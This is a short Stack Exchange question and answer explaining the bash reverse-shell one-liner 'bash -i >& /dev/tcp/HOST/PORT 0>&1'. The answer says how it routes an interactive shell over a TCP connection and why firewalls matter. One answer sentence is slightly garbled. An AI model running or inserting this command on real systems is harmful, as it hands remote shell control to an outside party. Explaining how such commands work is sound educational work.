bash -i >& /dev/tcp/HOST/PORT 0>&1
but it does not seem to work behind firewalls. What does this code actually do, which ports are forwarded and could it work behind firewalls?
Unix & Linux Stack Exchange is a question and answer site for users of Linux, FreeBSD and other Un*x-like operating systems. It only takes a minute to sign up.Sign up to join this community
This snippet runs a new interactive instance of bash (
bash -i), on a TCP connection to the specified port on the specified host which is created for the duration of the bash process. Standard output and standard error are sent through this connection (
>& /dev/tcp/HOST/PORT), and standard input is read through this connection (
0>&1 — this should be
0>&1 works too).
There is no port forwarding going on. Obviously, a TCP server of some kind has to be listening and accepting connections on that HOST:PORT, and the firewall has to let the connection through.